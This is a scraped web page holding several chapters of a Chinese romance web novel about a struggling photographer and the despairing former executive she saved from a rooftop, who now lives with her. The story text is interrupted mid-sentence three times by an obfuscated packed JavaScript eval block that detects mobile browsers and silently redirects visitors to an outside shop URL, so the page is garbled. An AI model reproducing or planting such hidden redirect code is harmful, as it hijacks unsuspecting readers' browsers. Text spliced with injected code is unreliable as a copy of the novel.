他从小天资聪颖,又在妈妈严苛的管教下,只要是他想做的事,想要实现的目标,还没有做不到的。在过去20多年的人生里,他一直都是顶着光环过来的,直到最后…… 唐霁白了他一眼,这时候就不用凡尔赛了。 她沉沉地叹了口气:“我本来以为辞职了就好了。但我没想到,在杂志社,我只有一个老板,但是当独立摄影师之后,所有人都是我的老板。本来以为辞职之后,我就可以自由地去创作,但最终却发现要养活自己,我还是要去拍市场想要的照片。” 唐霁想起她那天因为比赛获奖名额被顶替去杂志社找主编理论,让她最难过的并不是奖项被取消,而是…… “遇到你的那天,有人跟我说,我就是自命清高,我拍的照片是没有市场的,不会有人认可的。” 现在想起她的喉咙还是忍不住一阵酸涩,就好像一直以来蒙蔽自己的一块布被揭下,露出赤裸裸的现实,“就突然怀疑自己的坚持有没有意义了。” “你……”周砚知想起那天晚上她偷偷哭红的眼睛,所以,她是因为这件事才哭吗?但他顿了顿,终究没问出来,而是问道,“如果真的喜欢的话,为什么要因为别人一句话就否定自己呢?” “很多事情就是一念之间的啊。”唐霁蓦然一笑,说道,“不过,还好有你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372016|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你帮我把相机抢回来了。那一刻,失而复得的感觉,真好。我突然又觉得,是不是上天让我再坚持下呢?” “生活啊,就是这样子。总有无数个想要放弃的时候,但只要有一个理由,就可以坚持。人为什么是群居动物呢,可能就是在想放弃的时候,旁边的人拽你一下,你就会觉得又可以坚持了。” 胸口似乎有根看不见的细线被人轻轻一拽,周砚知倏地一阵发麻。他的脑海里响起唐霁刚才说的那句话。曾经被洪水淹没,却找不到一块浮木的绝望感突然涌了上来。 如果,当时也有人拽他一下,他是不是也不至于会踏上天台呢? “所以……”唐霁小心地抬眸看向周砚知,却见他脸色铁青,面容凛然,突然又收回了未说出的话,“还是算了。你吃好了吗?我们走吧。” 周砚知回过神,点点头。 两人走出面馆,没有商量过,却都沉默地往住的地方走去。 “你刚才想问什么?”周砚知想起唐霁刚才的欲言又止。 “啊?”唐霁扭过头,没想到周砚知还会问起,她小心打量他的神色,不确定要不要问。 周砚知似乎猜出了她的心思,说:“问吧,你今晚问什么我都不生气。” “你说的啊。”唐霁得到这个保证,胆子一下子就壮大了。但她还是稍微停顿了下,似乎在小心地斟酌措辞,“我只是想问你,你会庆幸,我当时把你拉回来了吗?” 周砚知的双脚像被什么拉住,猛地停在原地。唐霁也像被绊了一下,跟着停了下来,抬头看着他。 “当时……是不希望的。”周砚知很认真地回忆起那天晚上的感受,最后坦诚地说,“要走到那一步,是需要很大的勇气,但是被你打断了。” 周砚知看着天边刚刚升起的雾霾蓝的夜幕,和那晚的天空很像,他的神思仿佛穿越到几天前站在金鼎大厦天台的那一刻。他知道赴死这件事是一个懦弱的、逃避的选择,但是要做出这个选择却需要莫大的勇气。所以,他当时真的很郁闷突然冒出来的这个女孩硬生生地将他好不容易积攒起来的勇气掐断。 “但是,现在……”他低头看着紧张地抿着双唇的唐霁,“你跟我说,把现在的生活当作是重生。如果有机会可以过一下和以前截然不同的生活,未必是一件坏事。” 夏日的夜风带着城市未散的暑气轻轻拂过,唐霁的睫毛微微颤动。周砚知觉得她的表情很奇怪,他本以为她会像平时那样,因为自己做了一件好事而神气。可是她此刻的表情绝对说不上是开心,甚至有些难过,眼底好像有泪水要漫上来。 他听到她低声说了一句话。 “什么?”他追问道。 “没什么。”唐霁突然又扬起双唇,把未来得及溢出的泪水吞下去,恢复了往日嬉皮笑脸的样子,说,“我就是看电视,看到那些跳楼的人,总是要闹出很大动静,总感觉他们不是真心想跳的。所以想问问你这个亲身经历过的人是怎么想的。” 说完,她也不等周砚知,直接转过身继续往前走。 夜色慢慢沉了下来,前路昏暗,但是眼前一小团黑黝黝的身影却轻盈地向前走着,在他心口烙下一个个清晰的脚印。其实,他听到了,她刚才说:“所以,还是希望被救的吧。” 他不是很确定,自己那一刻到底希不希望有人来救他。可是,事实上,他就是被她救下了。 而在这一刻,他好像也没那么想死了。 就在这一瞬间,他在想,这是上天给他的一次机会吗?他真的可以当作是重生吗?他真的可以尝试过一种和以前完全不同的生活吗? 他迈开长腿追了上去,走到唐霁身边,状似随意地说道:“以后,我会尽量配合的。” “配合什么?” “你不是需要模特吗?”周砚知低头看向唐霁,“既然还想再坚持一下,那就好好坚持。我可以当你的模特。” 唐霁惊诧的脸上,像有一朵花在缓慢地绽开。 她打趣道:“你不走啦?” 周砚知装傻:“不是你说会对我负责到底吗?” “我看你就是离家出走了一趟,终于认识到社会的险恶,发现还是我最好吧?” 周砚知不置可否,掏出口罩戴上,手动闭麦。 “行吧。”唐霁又恢复了神气,“既然你这么有眼光,我就勉为其难收留你……当我的模特。” 藏在口罩后的嘴角微微扬起,转瞬,他又想起什么,说道:“但事先声明,我不要当画室的模特。” “行。”唐霁爽快地应道,“你就只当我一个人的模特。” 周砚知眼睫轻颤,心脏像是出了问题,突然失序。 听着唐霁得意又霸道的宣言,他很懊恼自己竟然想不出一句反驳的话。 10. 第 10 章 “对了。”两人回到住的地方,唐霁看到桌子上的那个小账本,拿起来在上面写上“+250”。 “我还没告诉你吧,你昨天在画室当模特赚了250块哦,是不是很厉害。两个钟就赚了250耶!你要是后悔想回去做,我就当没听过你刚才的话。” 周砚知刚摘下口罩,脸上的不屑完全没有遮挡地暴露出来:“你才二百五吧,在那里站一下午才赚这点钱有什么值得高兴的?以前别说250,就是……” 250万都是分分钟的事。 他的声音戛然而止,最后那半句他没说出来。他猛地醒觉,现在已经不是以前了。但是唐霁却期待地看着他问道:“就是什么?” 周砚知不愿再说了:“没什么。” 唐霁也不追问,神神秘秘地从桌子上拿起一张卷起来的纸轴说:“嫌250少,那我再送你一张我的画怎么样?” 周砚知眼里闪过半秒的困惑后,昨天下午她坐在画室里画画的场景骤然闯进脑海。眼看她就要将手中的画纸展开,周砚知赶紧伸手按住:“别……” 他可不想看自己半.裸的画像。 可是,来不及了,唐霁已经将画纸打开。 只是…… 他从指缝中看到,画纸上画的却不是他昨天当模特时的穿着。 掌心缓缓地从画纸上挪开,他看到一个穿着笔挺西服,宽肩窄腰的男人,双手插在兜里。就连发型都被精心打理过,额前的头发向上翘出一个好看的弧度。 他的狼狈被精心熨帖过,他的落魄也被得体地包裹起来。 这是唐霁第一次见到的他。 但又不完全是他。 画面上的人很明显意气风发,双目炯炯有神,浑身有着一股运筹帷幄的笃定。 是曾经的他。 他的心倏然一动。 明明是不久前的事,如今却仿如隔世。 老板说那套西装要几天时间修复,唐霁不知道修复的效果怎样,暂时还不打算告诉他,就先用一张画来代替吧。她小心地打量着周砚知脸上的表情,他刚才双眼很明显地睁大,双唇微微张开,是惊喜是高兴的表情。可是,很快,这种雀跃就消散了。 搞不懂。 她“啪”地一声将画合上,说:“既然你不喜欢,我扔掉好咯。” “别!”周砚知下意识就伸手过去,抓住唐霁手上的画纸。看到她脸上随即绽开的笑容,他有些尴尬地松手,说,“画得还不错,扔了可惜。” 唐霁笑盈盈地将画纸卷起,塞到他手上,说:“那你要保管好了。” 周砚知双手僵硬地抓着画纸,里面被卷起来的是他的过去。 是风光的,耀眼的,却也是被翻页的历史,是不可示人的画卷。 按理说,扔掉是最好的,没必要留着时刻提醒自己。 可是,他刚才为什么又要阻止唐霁? “好啦,开心点!”唐霁抬手拍了拍他的胳膊,“不管怎么说,这是一个新的开始!” 周砚知不解:“什么新的开始?” “这是你重生后赚的第一笔钱!开不开心?” 周砚知:“……” 好像更不开心了。 “阿砚。”他听到唐霁的声音,僵滞地抬起头。 “嗯?”周砚知抬起头,看见唐霁一双澄澈透亮的眼睛映着头顶的吸顶灯,炯然有神地看着他,认真地说道,“人怎样都能活的。” 他有些不明白地蹙了蹙眉。 “穿着几万块的西装能活,穿着50块2件的T恤也能活。” 唐霁双眼诚挚地看着他说道,“如果你想,有一天,你一定能再次穿上这套西装。” 周砚知的心猛地像被什么击中,在短暂的窒息后,疯狂地跳动。 鼻腔一酸,眼眶紧跟着发热。 她的双眼看着他说这两句话时太过清澈,让他觉得,她并不是在安慰他,而是真的相信他可以做到。可是,她凭什么相信他呢? 真好啊。 她不知道他是谁真好啊。 他的客户,他多年的朋友兼合伙人,甚至他的妈妈,没有一个人再愿意相信他。可是一个陌生人,一个只认识了几天连他名字都不知道的人却相信他还能再站起来。 还好她不知道他是谁。 …… 第二天,唐霁化完妆后,又拿起桌上的小账本开始算账,嘴里念念有词:“前天买东西用掉218,收入250,那就剩下32。”她算完抬头看向周砚知,问道,“32块够你今天的生活费吗?” 周砚知:“……” 他一时竟不知道怎么回答,他以前从来没试过有金钱限额且如此小额度的生存大挑战,可是这几天他身上一分钱都没有还是活到现在。 “那就当你默认了,我转你……不对!”唐霁猛地想起,“你没手机对吧?麻烦……”她拿过自己的背包,从里面翻出钱包,把里面的零钱一张张抽出来,就连硬币都不放过,最后却只凑到21.6元。 她抬头又看了周砚知一眼,对方什么都没说,但她有些于心不忍,似乎苛刻了一点。 算了!唐霁再次打开钱包,毅然决然地将里面唯一一张红色的纸币断然抽出,和桌面上那堆零零散散的纸币硬币一起塞到周砚知手上:“拿着,省点花。” 她不忘在小账本上记下“-100”,然后站起来将背包往肩上一挎,说:“我去上班啦,有事……不对。” 有事也打不了她的电话,算了,自求多福吧。 她叮嘱道:“你出去记得锁好门窗。” “嗯。”周砚知点点头。 门“砰”地一声关上,周砚知被独留在屋内。他手上捏着那几张纸币,一时手足无措,不知道自己该干什么。 在屋里放空了几分钟后,他从唐霁上次拿口罩的柜子里抽出一个戴上,在头顶扣上帽子,把自己全副武装后也出门了。 …… 下午5点半,唐霁下班回来。 她今天空着双手回来,本来想打包两份饭的,但是周砚知没有手机,她又问不了他想吃什么,也不知道他是不是自己吃了。最终决定先回来看一下,要是他也没吃饭,两人再一起出来吃饭。 刚进门,她喊了一声“阿砚”,声音便戛然而止,整个人愣住了。 这屋子,好像有点不一样。 唐霁的眼珠滴溜溜地在屋里流转,好干净。 有一种被洗涤过的清新。 其实她不算懒,但以前只有她一个人住,平时注意一点,屋子不会太脏,她就每周打扫一次。只是有时候累了,一些边边角角的积尘不想搞,就眼不见为净。太久不见就越积越多,就更不想见了。 她一边脱下背上的包慢慢挂好,双眼一边扫过家里的每条缝隙和每个角落。 好干净,好舒服。 是夏日大雨后,空气里所有灰尘都被冲刷掉,积云散去,阳光初现时那种想让人大口呼吸的舒适感。 周砚知的头突然从天台门探出来:“你回来啦,很快就能吃饭了。” “吃饭?”她都没买饭,他们吃什么? 唐霁好奇地走过去一探究竟,看见在天台的开放式厨房,周砚知微微伏腰,一手握着锅柄,一手拿着锅铲。也许是因为灶台太低,他必须微微弯腰迁就,也许是因为厨具用起来不顺手,反正整个人看起来都有点不协调,动作也不太流畅。 只是,这一幕对她来说,还是太新鲜了。 下班回到家,家里竟然有人在做着饭等她回来。 这锅还是她很久之前买的,那时候想得很美好,以后可以自己给自己做饭吃。后来她做了几顿后,发现自己或许确实没有这方面的天赋。费时费力不说,花销跟在楼下打份快餐也差不了多少,后来她就懒得做了。 她好奇地笑着走上前,看见锅里正在煎着两块牛排,发出“滋滋滋”的诱人声响,肉质的鲜香弥散在鼻间。看起来真的有模有样。 “你会做饭啊?”她惊喜地看向周砚知。 她本来以为他会像之前一样无所事事,只是从楼下换到楼上躺平,没想到不仅帮她打扫卫生,而且还会给她做饭。 “会一点。”周砚知应道,这是其中一点。 “你还搞卫生了?” “反正也是闲着。” 他实在不好就这样白吃白住,只是想能做一点是一点。 “好了。” 周砚知将锅里的牛排分别盛到两个白色的碟子上,上面还装着已经煮好的意面。 老天鹅!唐霁忍不住在心底惊呼,他竟然还买了两副西餐餐具,还摆盘了,好讲究啊! 不过,接下来,周砚知就遇到麻烦了,他看着唐霁问道:“我们在哪里吃?” 平时唐霁吃东西一般都是在工作桌上将就,没有正儿八经的餐桌,这一下也把她问倒了。她咬着手指东张西望,看到角落里头一张折叠小桌子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372017|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是她搬进来时就有的,很小又很老实的一张小桌子,不符合她的审美,但她也不能扔,便把它折起来扔在天台。 “你等等!”唐霁快步走过来,将桌子打开,虽然小,不过还是能用的。 最让唐霁惊讶的是,这张桌子并没有什么灰尘,所以这家伙今天把这张桌子也一起洗过了? 她指着伸展开来的桌子上,说:“就在这吧。” 屋内空间太狭促了,在天台反而不错。 周砚知点点头,将两个盘子端到小桌子上,唐霁则把屋里的小凳子拿出来。 两人在小桌子旁坐下,桌子矮、凳子也矮,很像坐在路边的烧烤摊吃烤串,但是桌子摆放的却是牛排。所以,唐霁脑补了一下从第三方视角看这个画面,两人很像坐在路边摊吃牛排,不伦不类、格格不入。 想到这个滑稽的画面,她忍不住笑了起来。 周砚知看她还没开始吃就笑了起来,紧张地问道:“怎么啦?” “没有。”唐霁止住笑容应道,“只是觉得我们现在这个画面挺搞笑的。” 周砚知好像明白了她的意思,也跟着笑了起来。 “不是你说的嘛,人怎么样都能活。” 嗯?唐霁睁大眼睛不解地看向对面的人,当初自己用来安慰他的话怎么又从他嘴里绕出来啦? 周砚知却若无其事,动作优雅地拿起刀叉,说:“在高档的西餐厅可以吃牛排,在天台的小板凳上也可以吃牛排。” 唐霁一时愣住,几秒后,她才打趣道:“学习得挺快的嘛!” 周砚知笑笑,扬了扬下巴,示意她:“试试吧。” “嗯!”唐霁拿起刀叉,一刀下去,肉汁如琥珀色蜜液缓缓渗出,顺着刀痕流淌。她叉起一小块肉送入嘴里,入口焦香酥脆,一口咬下去肉质却软嫩多汁。 她眼睛都瞪大了:“好吃!” 甚至感觉跟她以前在西餐厅吃的也差不多。 周砚知这才满意地笑了:“喜欢就好。” 天台的风扇缓慢地摇着头,从左边到右边,缓慢停留后,又从右边回到左边,一下又一下地将暑气从两人身边吹散。 刚过6点,天色还很亮,天台那盏年龄挺大的白炽灯泡存在感不太高地亮着。 这个场景,虽然怎么都谈不上浪漫,但是搬过来差不多两年,她第一次觉得在这里也能有生活的味道。 脑里不合时宜地冒出网上看过的一个段子:“如果一个男人愿意为我生孩子、买菜、做饭、洗碗、打扫卫生,照顾家庭照顾孩子照顾我,我一定会对他好。” 她在这一刻明白了为什么男人都想娶老婆,这神仙生活谁不想啊! 质疑男人、理解男人。 唐霁握着刀子的手一紧,想成为男人。 她双眼又闪着算盘“叭叭叭”的亮光,期待地看着周砚知,提议道:“没想到你做饭还挺好吃,既然你现在也没工作,要不以后你除了当我的模特外,就给我做饭吧。” 她是真的有点吃腻了天桥下那些快餐了。 周砚知神色稍稍一顿,很快便点点头:“没问题,反正我自己也要吃饭。只是我会做也不多。” 他也不喜欢吃外面的垃圾食品,况且他现在住的吃的都是唐霁的,只是多做一份而已,不过分。 “不会没关系,可以学。”唐霁鼓励道,又咬了一口牛排,随口问道,“对了,你还剩多少钱?” “没了。” “没了?”唐霁低头看向自己面前的牛排,问道,“你买的多少钱的牛排?” “38块8。” “一份?” 周砚知点点头。 唐霁抚着胸口,那里像被切了一块肉一样痛。 他竟然一天就花了100多块。 她像看着一个败家子一样,质问道:“不是有19块9的吗?” 周砚知眉头一皱,他看到了,只是…… “那也能吃?” 其实,他觉得38块8的也不太能吃,但毕竟预算有限。 唐霁气急败坏地反问道:“19块9的怎么就不能吃了?” 吃了又不会死。 都没了霸总命,还留着霸总病干嘛? 她生气地说道:“我们什么环境你不知道吗,从今天开始你要学会勤俭持家,我不喜欢那么物质的男人!” 哼,她最近已经为他花了很多钱了,他真是一点都不体谅她赚钱有多辛苦! 11. 第 11 章 “对了,我有东西给你。你过来!” 吃完饭后,唐霁神神秘秘地从椅子上起来,快步跑进屋里。 周砚知放下手中的碟子和刀叉,跟着唐霁的身影走了进去。唐霁站在桌子旁,手里拿着一部手机,不知道在折腾什么。没多久,她就把手机递到周砚知面前,说:“给你申请了一张电话卡,是我的副卡。不过这手机是我淘汰下来的旧手机,你别介意。” 她差点就要卖掉了,不过在平台一估价,折损太严重了,觉得还不如放着当个备用机。没想到还真用上了。 周砚知有些惊讶地看着唐霁手中的手机,不敢接过来。他没想到唐霁竟然还会主动给他准备手机和电话卡,在感动之余,心中又徒生惶恐。这段时间的平静,一方面是因为潜藏在他生活圈之外的南岸片区,另一方面就是他没有手机,失去和外界联系的手段。 如今,唐霁递过来的手机,既是她的心意,但也是重新给他打开一条和外界联系的道路。 见周砚知呆滞着不动,唐霁催促道:“你傻愣着干嘛,拿着啊!” 周砚知脸上的肌肉紧紧地绷着,双手缓缓地伸过去,看上去不像是拿手机,更像是从唐霁手机接过一个手榴弹。 “有了手机后,你就可以用微信,给你家人朋友报个平安。平时出去买东西也可以直接用微信支付啦。” “啪!”周砚知像是被手机烫到手一样,将手机一撒,扔到桌子上,说:“我不要了。” 唐霁不明状况,问道:“为什么不要?” “我去洗碗。”周砚知不想回答,仓惶转身,想要躲回天台。 唐霁赶紧伸出双手抱住他的手腕,制止了他,追问道:“我问你为什么不要。” 周砚知的嘴角紧紧地绷着,良久,他才开口,低声说道:“就让他们当我死了吧。” 他缓缓回过头,看着唐霁:“不是你说的吗?把现在当成是我的重生,我不想再跟过去有任何联系。” 唐霁的眼睫微微颤动,失落肯定是有的。她本以为他断网那么多天,看到手机会很开心。但,她没想到他反而会反应这么大。 “那……”唐霁一手还抓着他,另一只手拿起手机,说,“你就用新号码申请一个新号,新号上只加我一个人就好了。” 见周砚知没什么反应,她又解释道:“毕竟我们现在住在一起,平时有什么事也好联系是吧?” 周砚知似乎觉得也有道理,脸上的神情慢慢舒展开来,重新接过手机:“嗯……” 他拿着手机,没有立刻离开,轻抿双唇,抬手,扬了扬手机,“谢谢。” 唐霁只是咧嘴一笑。 两人都不说话地站着,安静一下子就填满了小小的房间。周砚知很清晰地听见自己慌乱的心跳,是可以和外界重获联系的紧张,也是再一次被眼前的人关心的感动。 “你帮我申请吧。”周砚知不知所措,忙将手机重新塞回到唐霁手中,“我去洗碗。” 说完,他赶紧转身逃窜到天台,埋头收拾小桌上的餐碟刀叉,用忙碌掩盖自己刚才的失态。 唐霁透过窗户看着周砚知弯腰在水槽洗碗的侧影,轻轻松了口气,嘴里嘟囔了一句“麻烦”,拿起手机开始给他申请微信号,并且把自己添加为他的好友。 唯一的好友。 周砚知洗完碗,唐霁拿着手机,走到天台,靠在门框上,将手机递给他,说:“给你弄好了,我的微信也添加了,手机通讯录也有我的电话。不过微信没有实名,转不了你钱,明天再给你现金吧。” “谢谢。”周砚知接过手机,又想起唐霁刚才的话,问道,“为什么给我钱?” “你的分成啊!”唐霁说起这件事,笑容跃然脸上,“你都不知道你有多厉害,那天给你拍的照片,竟然已经卖出一半了!” 这几张照片的成交额都超过她平时一个月的。 唐霁越说越兴奋:“没想到这类照片的需求量真的这么大,我觉得我们应该乘胜追击!” 周砚知想起自己对她承诺,说他会尽量配合,如果真的能帮到她,那他也不算一无是处,便点点头应道:“好。” “可是……”唐霁可怜巴巴地看着他轮廓分明的脸,线条流畅、五官立体,就算没有刻意地打理过,一身随意休闲的打扮也挡不住由内而外的硬帅,她遗憾地问道,“你真的不能露脸吗?” 那么帅的脸不能吃,又不能拿去赚钱,真是暴殄天物! “不能。”周砚知想都没想就回绝了,这是他的底线。 “不能露脸,那……”唐霁双眼从他的脸上缓缓地下移,落在某处,“别的地方呢?” “你看哪呢?”捕捉到唐霁目光的落点,周砚知耳根倏地蹿红,立马转过身去,底线倏地一下从脸扯到了下面,他扭过头看着唐霁问道,“你那个平台是正经平台吗?” 也不知道是平台不正经,还是唐霁不正经,反正周砚知已经开始担心会不会哪天在什么不正经的小广告上看到自己的照片。 “你想什么呢?”唐霁立刻回怼道,“当然是正经网站!我只是在想……” 她上上下下打量着周砚知,思考道,“还可以拍什么……” 好苦恼啊,上面不能露,下面不能露,这男人还有什么可以拍的呢? “要不——”唐霁突然展眉,提议道,“我们明天去扫街!” “扫街?” …… 次日,珠落街。 和唐霁逛了半天后,周砚知总算明白了唐霁所说的“扫街”是什么意思。 大概,就是像她现在这样,拿着一部相机,在街上随便拍。 一开始知道要出门,他还担心唐霁会这么变态,要他在室外拍半.裸照,但在外面拍了一上午,他今天的作用好像更接近一个摆件。他有几次瞥见唐霁拍的照片,只是拍了他的背影、侧影、剪影,或者直接将他虚化了,好像他才是那个背景一样。 确实该露不该露的今天都没露,只是今天自己变成一个工具人的感觉却让他莫名不爽。 “我听说珠落街下个月就要重建了。”唐霁似乎觉察到周砚知的兴致开始下落,解释道,“这是白海市最早发展起来的片区。”她抬头环顾四周,颇为遗憾地说道,“重建后,这里的一切就都不一样了,就当是来记录下它们最后的样子。” 白海沿江而起,伴江而兴。 珠落街就是白海市的发源地,西江南岸的江南码头,曾经盛极一时,是这座城市最热闹的商业街。 然而沧海桑田,斗转星移,随着西江航运的没落,江南码头在十年前正式停航,为西江百年航运史画下厚重的落点。各种更加贴近年轻人喜好的城市综合街区兴起,珠落街慢慢停留在上一代的记忆里,被时代的车轮一年又一年地碾过。 这几年,不断有专家提出要对珠落街进行改造重建,并最终于去年确定了整改方案。如今,珠落街的居民基本已经搬走了,商铺也大多关门了,整条街冷冷清清。 周砚知也听说过这个地方,但是他不在这里长大,对这个地方没有什么感情。时代发展太快,这座城市每天都在变化,这只是其中一个正在变化的地方。但他明白唐霁之所以会选择这个地方“扫街”的原因,一旦这个地方正式进入改造阶段,她拍下的照片就会成为历史遗迹的记录,在市场上具有稀缺性和独特性,估计到时在平台上售卖的价格也会更高。 他漫无目的地和唐霁在凹凸不平的石板路上走着,突然发现身边的人不见了,停下脚步回头一看。唐霁蹲在地上,他顺着镜头的方向看过去,是一个在街上摆摊的老婆婆。这个老婆婆连店面都没有,坐在一张小板凳上,面前摆着一个箩筐,箩筐上放着一篮子不知道是什么东西。箩筐旁支着一张纸皮,写着“糍粑1.5元/个”。 她觉察到唐霁在拍她,没有生气,而是乐呵呵地说:“阿妹,你拍我啊?” “对啊。”唐霁站起来,拿着相机上前,蹲在老人家旁边,说,“奶奶,我给你拍得可好看了,给你看看。” “唉哟,”老人家不好意思地笑着说,“你个小妹妹就会骗人,我老咯,牙齿都没了,怎么会好看。” “真的好看!”唐霁却很坚持,将相机的屏幕递到老人面前,说,“你自己看。” 老人枯槁的双手像是两片枯黄的叶子,无力地托着相机,身体往后仰,眼睛半眯着看了良久,最后还是笑呵呵说:“哎呀,没用了,看不见,眼睛看不见咯。” 唐霁有些难过,却不知道应该说什么,只能给老人家保证说:“反正肯定好看。” “行行行,我信你拍得好看。” “奶奶,你这些是糍粑吗?”唐霁转而看向箩筐上摆着的白色的糯米团子问道,顺手抬起相机拍了一张。 “是啊,我自己做的呢。” “那给我拿两个吧。”唐霁站起身,看向周砚知问道,“你有三块零钱吗?” 好像有。周砚知记得昨天买东西还剩下几张零钱,他手立刻伸进裤兜,从里面掏出三张一块零钱,递给唐霁。 老人家乐呵呵地把两个糍粑递给唐霁,接过钱:“多谢你啊,阿妹。” 唐霁和老人道别后,将其中一个糍粑递给周砚知:“糍粑,吃过吗?” 周砚知摇了摇头地接过。 唐霁得意地说:“那我又带你涨知识啦。”她咬了一口,不忘提醒道,“不过你吃的时候要小心,不要把陷掉得哪里都是。” 周砚知看了一眼被唐霁咬了一口的糍粑,里面塞满了芝麻、花生碎,好像还有一些细碎的白糖,真的好像随时都要掉下来一样。他将口罩拉到下巴,小心地尝试着咬了一口,皮很软,馅很甜,但不会甜得发腻,还不错。他又咬了两口,已经掌握了不会把馅弄掉的技巧,便问道:“这种老人家的照片也能卖钱?” 唐霁嘴巴还嚼着嘴里的糍粑,眉头微微一蹙,抬头白了周砚知一眼,咕哝一声将糍粑吞下去,揶揄道:“市侩。” 周砚知:“?” 我?市侩? 他不服气地怼道:“我现在穿着衣服你说我市侩,扒我衣服拍我照片的时候怎么不说自己市侩呢?” 光天化日之下,周砚知丝毫不害臊地说出这句话,唐霁差点被噎到。不知道的人还以为她把他怎么了呢! “你别说得这么粗俗好不好?再说了,衣服也是你自己脱的,我什么时候扒你衣服了?” “我……你……” 见周砚知被自己怼得“我我你你”半天,唐霁心满意足地说:“给你拍的照片本身就是为了卖钱啊,那不过是‘工作’,但我拍照又不只是为了钱。” “你不为钱你为什么?”他就不懂了,“不为钱在这里浪费大半天时间。” “我说了啊,我是来记录珠落街最后的样子的。” “那不还是为了钱嘛,你不就是图这些照片好卖,能卖高价钱。” 唐霁点点头,不否认:“你说得也没错,我确实有这一层的考虑。不过,那些‘好卖’的照片我已经拍了,这些……”她手指点了点相机屏幕,欲言又止,说,“算了,说了你也不明白。” 唐霁很难说清楚自己为什么唯独对摄影这件事能够保持这么久的兴趣和热情,但如果说有什么称得上是她的救赎,那就是摄影。 她捡了那只小仓鼠后,背负着它的抚养义务,不得不想办法赚钱。她便拿起相机开始拍照放到网上售卖。初始她根本不管什么市场需求,只拍摄自己喜欢的照片。她的镜头不自觉地就会聚焦到那些温馨动人的画面,一幅幅美好的照片像生活的拼图,重新拼凑起她内心对生活的热情。 哪怕她现在已经知道要卖得出照片,要卖得高价就要投其所好,但她还是会喜欢拍一些真正让她的心跳动而不是银行卡数字跳动的照片。 但这些,跟阿砚解释起来太麻烦了。 周砚知确实不明白,皱了皱眉,看见唐霁又举起相机开始拍照,不知道她在拍什么,好像也不需要他了,他便慢悠悠地跟在后面。 “嗷嗷,嗷嗷……” 什么声音?周砚知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372018|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛地停住脚步,竖起耳朵仔细倾听,好像是从旁边的破屋传来的。这屋子看上去已经很破了,墙皮都脱落了,露出里面的红砖,没有锁的铁门覆盖了厚厚一层棕褐色的铁锈,应该已经废弃了很长一段时间了。 “唐……”他想叫唐霁等一下,抬头看见她站在前面不远处一家卖婚庆用品的店门口不知道跟人家老板聊什么,看样子她一时半刻也不会走,周砚知将口罩扯了上去,重新戴好,便偷偷摸摸地走进屋子。 屋子不大,里面什么都没有,只有栖息在这里的尘埃。周砚知寻找着声音的来源,看见屋子的角落里叠着几块破布,好像是别人不要的衣服,里面传来此起彼伏地传来低低的呜咽声,夹杂着轻轻的哼唧声。 他好奇地上前,轻轻地掀开最上面的那层布,三双乌黑得像黑葡萄的眼睛滴溜溜地看着它。 周砚知几乎屏住了呼吸,心变成糍粑一样柔软,他眼前是三只小奶狗。小嘴粉嘟嘟的,身上的毛发细腻柔顺,看样子应该出生不久。 “好可爱。”周砚知感叹道,另一只空闲的手已经忍不住抬起轻轻地抚摸上去。 “嗷呜!”突然,一声低沉有力的犬吠声把周砚知吓得跳了起来,抬头看到屋里站着一只黄色的大狗,正嗞着牙对着他,发出低低的“呜呜”声。 “冷静……”周砚知立刻举起双手投降,低声安抚狗妈妈,“你冷静点,我没有恶意的。” “嗷呜~”大黄狗又低低地发出一声警告。 “好好好,我这就走。”周砚知慢慢直起身子,又不敢完全站起来,弯着腰缓缓地慢慢地向着门外挪去。 “阿砚——”这时,门外传来唐霁的声音,大黄狗却像是得到什么信号,忽然猛地朝周砚知扑过去。 “啊!”周砚知再也顾不上了,身体先于意识,直起身体转身就跑。 “阿砚?”唐霁觉察到动静看了过来,却见周砚知像逃命一样朝着她飞奔过来,身后是一只一边跑一边“汪汪汪”地咆哮的大狗。 唐霁猛地一惊,着急地质问:“你干了什么?” “我什么都没干!”周砚知跑到唐霁身边,并不打算停下,一把抓过她的手腕,拉着她继续往前跑。 “啊!”唐霁没反应过来就被周砚知拽住,双脚像是有自己意识一样就跟着跑了起来。她挎在肩膀上的相机因为惯性险些摔了下去,还好她及时拽住了相机带。 “汪汪汪!”大黄狗的目标莫名其妙多了一个,但它丝毫不退怯,越发凶狠地边叫边追。 唐霁不明白自己为什么突然就要和周砚知逃命,此刻她也只能用尽全力跟着眼前的人奔跑起来。午后原本安静的珠落街就这样被持续不断的犬吠声打破,闻声探出窗户走出店门八卦的人,只看到一个高大的男人拉着一个年轻的女孩逃命般地跑过,一只大黄狗在他们身后穷追不舍。 周砚知回头,想看他们和大黄狗距离有多远,却率先看到身后的女孩。 